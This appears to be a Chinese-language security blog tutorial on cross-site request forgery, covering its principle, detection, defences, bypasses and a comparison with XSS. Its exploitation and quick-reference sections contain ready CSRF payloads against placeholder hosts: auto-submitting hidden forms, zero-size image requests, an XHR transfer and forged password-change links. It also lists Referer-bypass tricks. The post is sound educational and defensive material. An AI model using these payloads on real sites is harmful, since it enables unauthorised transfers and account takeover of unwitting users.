CSRF 跨站请求伪造

1549 字
8 分钟
CSRF 跨站请求伪造

一、什么是 CSRF?#

CSRF(Cross Site Request Forgery,跨站请求伪造),属于前端漏洞,用于攻击前端用户。

核心概念:

在受害者已经登录网站且不知情的情况下,攻击者利用受害者已有的凭证,向服务器发起预期外的请求。

属性说明
攻击目标前端用户的浏览器
攻击架构B/S 架构(Browser ↔ Server)
漏洞类型前端漏洞

通俗理解: 攻击者盗用了你的身份,以你的名义发送恶意请求。


二、CSRF 的危害#

在条件满足的情况下:

技术层面:

  • 伪造恶意请求(修改密码、转账、删除数据等)

社会影响层面:

  • 电信诈骗
  • 非法更改网站资源
  • 转账
  • 用户增删改查
  • 密码修改
  • 冒用身份进行非法操作

三、CSRF 漏洞原理#

利用浏览器无法区分受害者是主动发起请求还是被迷惑发起请求的固有缺陷,冒用受害者的凭证发起伪造请求。

正常流程:
用户登录 → 浏览器保存 Cookie/Session → 用户发起请求 → 服务器验证凭证 → 执行操作
CSRF攻击流程:
用户登录 → 浏览器保存 Cookie/Session → 用户访问恶意页面 → 恶意页面自动发起请求 → 服务器验证凭证(有效)→ 执行恶意操作

💡 关键缺陷:浏览器在发送请求时会自动携带 Cookie,服务器无法判断该请求是用户主动发起的还是恶意伪造的。


四、如何发现 CSRF?#

核心思路:

  1. 寻找敏感请求触发点(修改密码、转账、删除、添加管理员等)
  2. 确认请求是否带有 anti-CSRF token(防跨站请求伪造令牌)
  3. 如果没有 token 或 token 可预测/可绕过,则存在 CSRF 漏洞

常见敏感操作特征:

  • 修改密码
  • 修改邮箱/手机号
  • 转账/支付
  • 删除数据
  • 添加管理员
  • 修改个人资料

五、CSRF 利用思路与步骤#

5.1 确定利用途径#

1. 识别是通过 GET 请求还是 POST 请求提交
├── GET 请求 → 直接构造 URL
└── POST 请求 → 构造自动提交表单
2. 识别是否有 CSRF Token
├── 无 Token → 直接利用
└── 有 Token → 需要配合 XSS 或 Token 预测
请求方式利用方法
GET直接构造恶意 URL,诱骗点击
POST构造自动提交的隐藏表单
有 Token需要配合 XSS 窃取或预测 Token

5.2 构造利用方式#

方式1:恶意 URL

<!-- 让受害者点击这个链接 -->
<a href="http://example.com/transfer?to=attacker&amount=10000">点击领取优惠券</a>

方式2:img 标签(自动加载)

<!-- 受害者访问页面时自动发起请求 -->
<img src="http://example.com/transfer?to=attacker&amount=10000" width="0" height="0" />

方式3:自动提交的隐藏表单

<html>
<body onload="document.forms[0].submit();">
<form action="http://example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>

方式4:XMLHttpRequest(配合 XSS)

var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://example.com/transfer', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('to=attacker&amount=10000');

方式5:短网址跳转

原恶意链接:http://example.com/transfer?to=attacker&amount=10000
短网址:http://dwz.cn/abc123

六、CSRF 修复思路#

修复方案说明
1. 敏感操作使用 POST 请求避免使用 GET 请求处理敏感操作(但 POST 不能完全防御)
2. 使用 CSRF Token生成随机 Token,每次请求时校验
3. 验证 Referer检查请求来源是否合法
4. 增加二次验证修改密码/转账等操作要求输入密码或短信验证码
5. 使用预留信息确认要求用户确认预留信息(如生日、密保问题)
6. 重要操作使用验证码使用图形验证码或短信验证码

CSRF Token 机制#

正常流程:
1. 服务器生成随机 Token(如:abc123xyz)
2. Token 保存在 Session 中,并写入表单隐藏字段
3. 用户提交表单时携带 Token
4. 服务器校验 Token 是否匹配
CSRF Token 防御原理:
攻击者无法获取用户 Session 中的 Token → 无法构造包含正确 Token 的请求 → 攻击失败

Referer 验证#

HTTP请求头 Referer:https://example.com/page.html
防御策略:
1. 校验请求来源是否为目标站点
2. 如果 Referer 不是本站,则拒绝请求
注意:Referer 可以被伪造或缺失(部分浏览器/网络环境)

七、CSRF 绕过姿势#

绕过方式原理
Referer 绕过构造包含目标站点 host 为路径的链接页面,如 http://attacker.com/example.com/index.html
短网址绕过使用短网址服务隐藏恶意链接
XSS + CSRF 联合利用 XSS 窃取 CSRF Token,再发起伪造请求
空 Referer部分浏览器或配置下可通过 meta 标签移除 Referer
HTTPS → HTTP 降级某些情况下可尝试降级请求绕过安全策略

Referer 绕过示例#

目标站点:example.com
攻击者页面:http://attacker.com/example.com/index.html
某些服务器会检查 Referer 中是否包含 example.com,
attacker.com/example.com/index.html 也包含 example.com,可能被放行。

八、CSRF 和 XSS 的异同#

相同点#

  • 都是前端漏洞
  • 都利用用户与网站的交互机制

不同点#

对比项XSSCSRF
核心机制注入恶意脚本到网页伪造用户请求
是否窃取数据✅ 可窃取 Cookie、敏感数据❌ 不窃取数据,只伪造请求
是否需要用户登录❌ 不一定✅ 一般必须(利用已有凭证)
依赖 JavaScript✅ 强依赖(执行恶意脚本)⚠️ 不完全依赖(可仅用 img/表单)
请求方向双向(可窃取可攻击)单向(发送伪造请求)
防御核心输入过滤、输出编码Token、Referer 验证

关系示意图#

XSS → 可以窃取 CSRF Token → 可以辅助 CSRF 攻击
所以:XSS + CSRF 组合攻击威力更大!

📌 快速参考卡片#

检测 CSRF 的口诀#

找敏感操作 → 看有无 Token → 无 Token 则 CSRF

测试 Payload#

<!-- GET 请求测试 -->
<img src="http://target.com/change_password?newpwd=123456" />
<!-- POST 请求测试(自动提交) -->
<form action="http://target.com/change_password" method="POST">
<input name="newpwd" value="123456">
</form>
<script>document.forms[0].submit();</script>
<!-- 测试 Referer 绕过 -->
<a href="http://target.com/change_password?newpwd=123456">点击有惊喜</a>

防御检查清单#

  • 敏感操作是否使用 POST 而非 GET?
  • 是否使用 CSRF Token?
  • Token 是否足够随机且不可预测?
  • Token 是否与用户 Session 绑定?
  • 是否验证了 Referer?
  • 重要操作是否要求二次验证(密码/验证码)?

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

CSRF 跨站请求伪造
https://blog.emberlag.com/posts/csrf/
作者
3mb3rl4g
发布于
2026-09-15
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录